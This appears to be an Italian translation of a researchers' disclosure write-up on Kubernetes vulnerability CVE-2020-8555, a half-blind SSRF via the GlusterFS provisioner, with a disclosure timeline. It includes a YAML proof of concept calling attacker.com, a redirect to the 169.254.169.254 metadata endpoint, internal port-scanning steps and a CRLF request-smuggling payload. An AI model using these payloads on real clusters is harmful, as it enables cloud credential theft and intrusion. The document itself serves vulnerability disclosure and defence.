{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Nota del traduttore.<\/b>: gli autori di questo articolo spiegano in dettaglio come sono riusciti a scoprire una vulnerabilit\u00e0 <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> in Kubernetes. Anche se inizialmente sembrava non essere molto pericolosa, in combinazione con altri fattori la sua criticit\u00e0 si \u00e8 rivelata massima per alcuni fornitori di cloud. Gli esperti sono stati generosamente ricompensati da diverse organizzazioni per il lavoro svolto.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Chi siamo<\/h2>\n<p>\nSiamo due ricercatori francesi nel campo della sicurezza che hanno scoperto una vulnerabilit\u00e0 in Kubernetes. Ci chiamiamo Brice Augras e Christophe Hauquiert, ma su molte piattaforme di Bug Bounty siamo conosciuti come Reeverzax e Hach rispettivamente:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architetto di Kubernetes in Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Cosa \u00e8 successo?<\/h2>\n<p>\nQuesto articolo \u00e8 il nostro modo di raccontare come un normale progetto di ricerca si sia inaspettatamente trasformato nella pi\u00f9 entusiasmante avventura della vita per i cacciatori di bug (almeno fino ad ora).<\/p>\n<p>Come probabilmente sapete, i cacciatori di bug hanno un paio di peculiarit\u00e0:<\/p>\n<ul>\n<li> vivono di pizze e birra;<\/li>\n<li> lavorano quando tutti gli altri dormono.<\/li>\n<\/ul>\n<p>\nNon facciamo eccezione a queste regole: di solito ci incontriamo nei fine settimana e passiamo notti insonni a hackerare. Ma una di queste notti \u00e8 finita in modo piuttosto insolito.<\/p>\n<p>Inizialmente avevamo programmato di incontrarci per discutere della partecipazione a <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> il giorno successivo. Durante la conversazione sulla sicurezza di Kubernetes in un ambiente di servizio gestito, abbiamo ricordato una vecchia idea di SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) e abbiamo deciso di provare a utilizzarla come scenario d'attacco.<\/p>\n<p>Alle 11 di sera ci siamo messi a studiare, e siamo andati a letto di primo mattino, molto soddisfatti dei risultati. Proprio grazie a queste ricerche, ci siamo imbattuti nel programma MSRC Bug Bounty e abbiamo ideato un exploit con escalation dei privilegi.<\/p>\n<p>Sono passate settimane\/mesi, e il nostro risultato inaspettato ci ha permesso di ricevere uno dei premi pi\u00f9 alti nella storia di Azure Cloud Bug Bounty \u2014 oltre a quello che abbiamo ricevuto da Kubernetes!<\/p>\n<p>Ispirato al nostro progetto di ricerca, il comitato Kubernetes Product Security Committee ha pubblicato <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Ora vorremmo diffondere il pi\u00f9 possibile l'informazione sulla vulnerabilit\u00e0 trovata. Speriamo che apprezziate la scoperta e condividiate i dettagli tecnici con altri membri della comunit\u00e0 infosec!<\/p>\n<p>Quindi, ecco la nostra storia...<\/p>\n<h2>Contesto<\/h2>\n<p>\nPer spiegare al meglio il significato di quanto accaduto, iniziamo a esaminare come Kubernetes opera in un ambiente cloud gestito.<\/p>\n<p>Quando si crea un'istanza di cluster Kubernetes in un ambiente di questo tipo, la gestione del piano di controllo \u00e8 generalmente affidata al fornitore di servizi cloud.<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Il piano di controllo \u00e8 situato nel perimetro del fornitore cloud, mentre i nodi Kubernetes si trovano nel perimetro del cliente.<\/i><\/p>\n<p>Per l'allocazione dinamica dei volumi viene utilizzato un meccanismo di provisioning dinamico da un backend di storage esterno, associato al PVC (persistent volume claim, ovvero richiesta di volume).<\/p>\n<p>Pertanto, dopo che il PVC \u00e8 stato creato e associato a uno StorageClass nel cluster K8s, le azioni successive per la fornitura del volume sono gestite dal kube\/cloud controller manager (il suo nome esatto dipende dalla versione). <i>(<b>Nota del traduttore.<\/b>: Abbiamo gi\u00e0 scritto nei dettagli sul CCM prendendo come esempio la sua implementazione per uno dei fornitori cloud. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">qui<\/a><\/noindex>.)<\/i><\/p>\n<p>Esistono diverse tipologie di provisioner supportate da Kubernetes: la maggior parte di esse \u00e8 inclusa in <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">nucleo dell'orchestratore<\/a><\/noindex>, mentre altre sono gestite da provisioner aggiuntivi, che vengono eseguiti in pod nel cluster.<\/p>\n<p>Nella nostra ricerca ci siamo concentrati sul meccanismo interno di provisionamento dei volumi, come illustrato di seguito:<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>La fornitura dinamica di volumi utilizzando il provisioner integrato di Kubernetes<\/i><\/p>\n<p>In sintesi, quando Kubernetes \u00e8 distribuito in un ambiente gestito, il lavoro del controller manager \u00e8 responsabilit\u00e0 del fornitore di servizi cloud, ma la richiesta di creazione del volume (numero 3 nello schema sopra) esce dai confini della rete interna del fornitore cloud. Ed \u00e8 qui che la situazione diventa davvero interessante!<\/p>\n<h2>Scenario di compromissione<\/h2>\n<p>\nIn questa sezione descriveremo come abbiamo sfruttato il workflow menzionato sopra per accedere alle risorse interne del fornitore di servizi cloud. Inoltre, verr\u00e0 mostrato come eseguire determinate azioni, come ottenere credenziali interne o effettuare un'escussione dei privilegi.<\/p>\n<p>Una semplice manovra (in questo caso si tratta di un Service Side Request Forgery) ha permesso di oltrepassare l'ambiente cliente nei cluster di vari fornitori di K8s gestiti.<\/p>\n<p>Nei nostri studi ci siamo concentrati sul provisioner GlusterFS. Anche se la sequenza di azioni successiva \u00e8 descritta in questo contesto, la stessa vulnerabilit\u00e0 colpisce anche Quobyte, StorageOS e ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuso del meccanismo di provisioning dinamico dei volumi<\/i><\/p>\n<p>Durante l'analisi della classe di archiviazione <b>GlusterFS<\/b> nel codice sorgente del cliente in Golang abbiamo <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">\u00e8 stato notato<\/a><\/noindex>, che alla prima richiesta HTTP (3), inviata durante la creazione del volume, al termine dell'URL utente nel parametro <code>resturl<\/code> riceve <code>\/volumes<\/code>.<\/p>\n<p>Per rimuovere questo percorso aggiuntivo abbiamo deciso di aggiungere <code>#<\/code> nel parametro <code>resturl<\/code>. Ecco la prima configurazione YAML che abbiamo utilizzato per testare la vulnerabilit\u00e0 SSRF \"semi-blind\" <i>(per saperne di pi\u00f9 su semi-blind o half-blind SSRF, puoi leggere, ad esempio, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">qui<\/a><\/noindex> \u2014 nota di traduzione)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nIn seguito, abbiamo utilizzato il binario per il controllo remoto del cluster Kubernetes. <b>kubectl<\/b>In generale, i fornitori di cloud (Azure, Google, AWS, ecc.) offrono la possibilit\u00e0 di ottenere credenziali per il loro utilizzo in questo strumento.<\/p>\n<p>Grazie a questo, siamo riusciti ad applicare il nostro file \"speciale\". Il kube-controller-manager ha eseguito la richiesta HTTP risultante:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Risposta dal punto di vista dell'attaccante<\/i><\/p>\n<p>Poco dopo, siamo stati in grado di ricevere la risposta HTTP dal server di destinazione, tramite i comandi <code>describe pvc<\/code> o <code>get events<\/code> in kubectl. E in effetti, questo driver Kubernetes per impostazione predefinita \u00e8 troppo verboso nei suoi avvisi\/ messaggi di errore...<\/p>\n<p>Ecco un esempio con un link a <code>https:\/\/www.google.fr<\/code>, impostato come parametro <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# oppure puoi utilizzare kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nAll'interno di questo approccio, eravamo limitati a richieste di tipo <b>HTTP POST<\/b> e non riuscivamo a ottenere il contenuto del corpo della risposta, se il codice di ritorno era <b>201<\/b>. Pertanto, abbiamo deciso di fare ulteriori ricerche ed espandere questo scenario di hacking con nuovi approcci.<\/p>\n<h2>L'evoluzione delle nostre ricerche<\/h2>\n<p><\/p>\n<ul>\n<li> Scenario avanzato n. 1: utilizzo del reindirizzamento 302 da un server esterno per modificare il metodo HTTP, per ottenere un modo pi\u00f9 flessibile di raccogliere dati interni.<\/li>\n<li> Scenario avanzato n. 2: automazione della scansione LAN e scoperta delle risorse interne.<\/li>\n<li> Scenario avanzato n. 3: utilizzo di HTTP CRLF + smuggling (\u00abcontrabbando\u00bb di richieste) per creare richieste HTTP personalizzate e ottenere dati estratti dai log del kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specifiche tecniche<\/h3>\n<p><\/p>\n<ul>\n<li> Nella ricerca \u00e8 stato utilizzato Azure Kubernetes Service (AKS) con Kubernetes versione 1.12 nella regione Europa del Nord.<\/li>\n<li> Gli scenari descritti sopra sono stati eseguiti sulle ultime release di Kubernetes, ad eccezione del terzo scenario, poich\u00e9 richiedeva Kubernetes compilato con Golang versione \u2264 1.12.<\/li>\n<li> Server esterno dell'attaccante \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenario avanzato n. 1: reindirizzamento della richiesta HTTP da POST a GET per ottenere dati riservati<\/h3>\n<p>\nIl metodo originale \u00e8 stato migliorato dalla configurazione del server dell'attaccante per il ritorno <b>Codice di risposta HTTP 302<\/b>, per convertire la richiesta POST in una richiesta GET (passo 4 nello schema):<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLa prima richiesta (3), inviata dal client <b>GlusterFS<\/b> (Controller Manager), \u00e8 di tipo POST. Eseguendo i seguenti passaggi, siamo riusciti a trasformarla in GET:<\/p>\n<ul>\n<li> Come parametro <code>resturl<\/code> in StorageClass si specifica <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> risponde con codice di stato HTTP 302 e il seguente Location Header: <code>http:\/\/169.254.169.254<\/code>. Questo pu\u00f2 essere qualsiasi altra risorsa interna \u2014 in questo caso, il link di reindirizzamento viene utilizzato esclusivamente come esempio.<\/li>\n<li> Di default <b>la libreria net\/http<\/b> Golang reindirizza la richiesta e converte POST in GET con codice di stato 302, con il risultato che una richiesta HTTP GET arriva alla risorsa di destinazione.<\/li>\n<\/ul>\n<p>\nPer leggere il corpo della risposta HTTP, \u00e8 necessario fare <code>describe<\/code> dell'oggetto PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nEcco un esempio di risposta HTTP in formato JSON che siamo riusciti a ottenere:<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nLe capacit\u00e0 della vulnerabilit\u00e0 trovata al momento erano limitate a causa dei seguenti motivi:<\/p>\n<ul>\n<li> Impossibilit\u00e0 di inserire intestazioni HTTP nella richiesta in uscita.<\/li>\n<li> Impossibilit\u00e0 di eseguire una richiesta POST con parametri nel corpo (\u00e8 cos\u00ec comodo richiedere il valore della chiave da un'istanza etcd in esecuzione su <b>2379<\/b> la porta, se viene utilizzato HTTP non crittografato).<\/li>\n<li> Impossibilit\u00e0 di ottenere il contenuto del corpo della risposta quando il codice di stato era 200 e la risposta non aveva il Content-Type JSON.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenario avanzato n. 2: scansione della rete locale<\/h3>\n<p>\nQuesto metodo di SSRF half-blind \u00e8 stato quindi utilizzato per eseguire la scansione della rete interna del fornitore di servizi cloud e per interrogare vari servizi in ascolto (come Metadata, Kubelet, etcd, ecc.) sulla base delle risposte. <b>kube controller<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nInizialmente sono stati identificati le porte di ascolto standard dei componenti Kubernetes (8443, 10250, 10251, ecc.) e successivamente si \u00e8 reso necessario automatizzare il processo di scansione.<\/p>\n<p>Vedendo che questo modo di eseguire la scansione delle risorse \u00e8 molto specifico e non compatibile con scanner classici e strumenti SSRF, abbiamo deciso di creare i nostri worker in bash script che automatizzano l'intero processo.<\/p>\n<p>Ad esempio, per scansionare pi\u00f9 rapidamente l'intervallo 172.16.0.0\/12 della rete interna, sono stati eseguiti in parallelo 15 worker. L'intervallo di IP sopra menzionato \u00e8 stato scelto esclusivamente come esempio e pu\u00f2 essere modificato con l'intervallo IP di un fornitore di servizi specifico.<\/p>\n<p>Per scansionare un singolo indirizzo IP e una porta, \u00e8 necessario fare quanto segue:<\/p>\n<ul>\n<li> rimuovere lo StorageClass verificato nell'ultima scansione;<\/li>\n<li> rimuovere il precedente Persistent Volume Claim verificato;<\/li>\n<li> modificare i valori di IP e Port in <code>sc.yaml<\/code>;<\/li>\n<li> creare uno StorageClass con un nuovo IP e porta;<\/li>\n<li> creare un nuovo PVC;<\/li>\n<li> estrarre i risultati della scansione utilizzando describe per PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenario avanzato n. 3: iniezione CRLF + smuggling HTTP nelle versioni \"vecchie\" del cluster Kubernetes<\/h3>\n<p>\nSe, in aggiunta, il fornitore offriva ai clienti versioni obsolete del cluster K8s <b>e<\/b> dandogli accesso ai log di kube-controller-manager, l'impatto diventava ancora pi\u00f9 significativo.<\/p>\n<p>Per un attaccante \u00e8 realmente molto pi\u00f9 facile modificare a proprio piacimento le richieste HTTP destinate a ottenere una risposta HTTP completa.<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPer implementare l'ultimo scenario, devono essere soddisfatte le seguenti condizioni:<\/p>\n<ul>\n<li> L'utente deve avere accesso ai log di kube-controller-manager (come, ad esempio, in Azure LogInsights).<\/li>\n<li> Il cluster Kubernetes deve utilizzare una versione di Golang inferiore a 1.12.<\/li>\n<\/ul>\n<p>\nAbbiamo implementato un ambiente locale che simula lo scambio di dati tra un client Go GlusterFS e un server target fasullo (per ora ci asteniamo dalla pubblicazione del PoC).<\/p>\n<p>\u00c8 stata scoperta <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">una vulnerabilit\u00e0<\/a><\/noindex>, che colpisce le versioni di Golang inferiori a 1.12 e consente agli hacker di eseguire attacchi di tipo HTTP smuggling\/CRLF.<\/p>\n<p>Combinando il half-blind SSRF descritto sopra <b>insieme<\/b> Con questo, siamo stati in grado di inviare richieste a nostro piacimento, inclusa la sostituzione di intestazioni, metodo HTTP, parametri e dati che kube-controller-manager elaborava successivamente.<\/p>\n<p>Ecco un esempio di 'fishing' funzionante nel parametro <code>resturl<\/code> StorageClass che implementa uno scenario di attacco simile:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nDi conseguenza si verifica un errore <b>risposta non richiesta<\/b>, il cui messaggio \u00e8 registrato nei log del controller. Grazie alla 'verbosit\u00e0' abilitata per impostazione predefinita, anche il contenuto della risposta HTTP \u00e8 memorizzato.<\/p>\n<p><img decoding=\"async\" alt=\"Quando non si tratta solo di vulnerabilit\u00e0 in Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nQuesto \u00e8 stato il nostro 'fishing' pi\u00f9 efficace nell'ambito del proof of concept.<\/p>\n<p>Utilizzando questo approccio, siamo stati in grado di eseguire alcuni dei seguenti attacchi nei cluster di vari fornitori di managed k8s: escalation dei privilegi con ottenimento di credenziali su istanze metadata, DoS del master tramite richieste HTTP (non criptate) sulle istanze master etcd, e cos\u00ec via.<\/p>\n<h2>Conseguenze<\/h2>\n<p>\nNella dichiarazione ufficiale di Kubernetes riguardo alla vulnerabilit\u00e0 SSRF che abbiamo scoperto, le \u00e8 stato assegnato un punteggio <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Se consideriamo solo la vulnerabilit\u00e0 legata al perimetro di Kubernetes, il vettore di integrit\u00e0 <i>(integrity vector)<\/i> in essa si qualifica come <b>Nessuno<\/b>.<\/p>\n<p>Tuttavia, la valutazione delle possibili conseguenze nel contesto di un ambiente di servizio gestito (e questa \u00e8 stata la parte pi\u00f9 interessante della nostra ricerca!) ci ha spinto a riclassificare la vulnerabilit\u00e0 con un punteggio <b>Critico CVSS10\/10<\/b> per molti fornitori.<\/p>\n<p>Di seguito sono riportate ulteriori informazioni che possono aiutare a comprendere quali criteri abbiamo seguito nella valutazione delle possibili conseguenze negli ambienti cloud:<\/p>\n<h3>Integrit\u00e0<\/h3>\n<p><\/p>\n<ul>\n<li> Esecuzione remota di comandi utilizzando le credenziali interne acquisite.<\/li>\n<li> Riproduzione dello scenario sopra descritto mediante il metodo IDOR (Insecure Direct Object Reference), ossia riferimenti diretti non sicuri agli oggetti, con altre risorse scoperte nella rete locale.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Riservatezza<\/h3>\n<p><\/p>\n<ul>\n<li> Attacco di tipo <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Movimento Laterale<\/a><\/noindex> grazie al furto di credenziali cloud (ad esempio, metadata API).<\/li>\n<li> Raccolta di informazioni mediante scansione della rete locale (determinazione della versione SSH, versione del server HTTP, ...).<\/li>\n<li> Raccolta di informazioni su istanze e infrastruttura interrogando API interne, come metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Furto dei dati dei clienti tramite credenziali cloud.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Disponibilit\u00e0<\/h3>\n<p>\nTutti gli scenari di sfruttamento legati ai vettori di attacco su <b>integrity (integrit\u00e0)<\/b>, possono essere utilizzati per azioni distruttive e portare a un'impossibilit\u00e0 di accesso agli master instance dal perimetro del cliente (o da qualsiasi altro).<\/p>\n<p>Poich\u00e9 eravamo in un ambiente gestito K8s e valutavamo l'impatto sull'integrit\u00e0, si possono immaginare numerosi scenari in grado di influire sulla disponibilit\u00e0. Come ulteriori esempi, possiamo citare la corruzione del database etcd o l'esecuzione di una chiamata critica all'API Kubernetes.<\/p>\n<h2>Cronologia<\/h2>\n<p><\/p>\n<ul>\n<li> 6 dicembre 2019: invio di un messaggio riguardo a una vulnerabilit\u00e0 scoperta al programma Bug Bounty MSRC.<\/li>\n<li> 3 gennaio 2020: una terza parte ha informato gli sviluppatori di Kubernetes che stavamo lavorando sul problema di sicurezza. E li ha invitati a considerare SSRF come vulnerabilit\u00e0 interna (in-core). Successivamente, abbiamo presentato un report complessivo con i dettagli tecnici sulla sorgente del problema.<\/li>\n<li> 15 gennaio 2020: abbiamo fornito agli sviluppatori di Kubernetes rapporti tecnici e generali su loro richiesta (attraverso la piattaforma HackerOne).<\/li>\n<li> 15 gennaio 2020: gli sviluppatori di Kubernetes ci hanno informato che la vulnerabilit\u00e0 half-blind SSRF + iniezione CRLF per le versioni precedenti \u00e8 considerata una vulnerabilit\u00e0 in-core. Abbiamo immediatamente interrotto l'analisi dei perimetri di altri fornitori di servizi: ora la causa principale \u00e8 stata presa in carico dal team K8s.<\/li>\n<li> 15 gennaio 2020: ricevuto un premio da MSRC tramite HackerOne.<\/li>\n<li> 16 gennaio 2020: il Kubernetes PSC (Product Security Committee) ha riconosciuto la vulnerabilit\u00e0 e ha chiesto di tenerla segreta fino a met\u00e0 marzo a causa del gran numero di potenziali vittime.<\/li>\n<li> 11 febbraio 2020: ricevuto un premio da Google VRP.<\/li>\n<li> 4 marzo 2020: ricevuto un premio da Kubernetes tramite HackerOne.<\/li>\n<li> 15 marzo 2020: la divulgazione pubblica originariamente programmata \u00e8 stata rinviata a causa della situazione COVID-19.<\/li>\n<li> 1 giugno 2020: dichiarazione congiunta di Kubernetes + Microsoft sulla vulnerabilit\u00e0.<\/li>\n<\/ul>\n<p><\/p>\n<h2>TL;DR<\/h2>\n<p><\/p>\n<ul>\n<li> Beviamo birra e mangiamo pizza \ud83d\ude42<\/li>\n<li> Abbiamo scoperto una vulnerabilit\u00e0 in-core in Kubernetes, anche se non volevamo farlo.<\/li>\n<li> Abbiamo effettuato un'analisi aggiuntiva nei cluster di vari fornitori di cloud e siamo riusciti ad aumentare il danno causato dalla vulnerabilit\u00e0 per ottenere ulteriori fantastici bonus.<\/li>\n<li> In questo articolo troverai molti dettagli tecnici. Siamo felici di discuterne con te (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Si \u00e8 scoperto che tutte le formalit\u00e0 e la redazione dei report richiedono molto pi\u00f9 tempo del previsto.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Link<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google group kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>P.S. dal traduttore<\/h2>\n<p>\nLeggete anche nel nostro blog:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">La caccia agli errori in Kubernetes \u00e8 ufficialmente aperta<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Uscita dal pod in Kubernetes tramite il montaggio dei log<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ strumenti per la sicurezza di Kubernetes<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Fonte: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 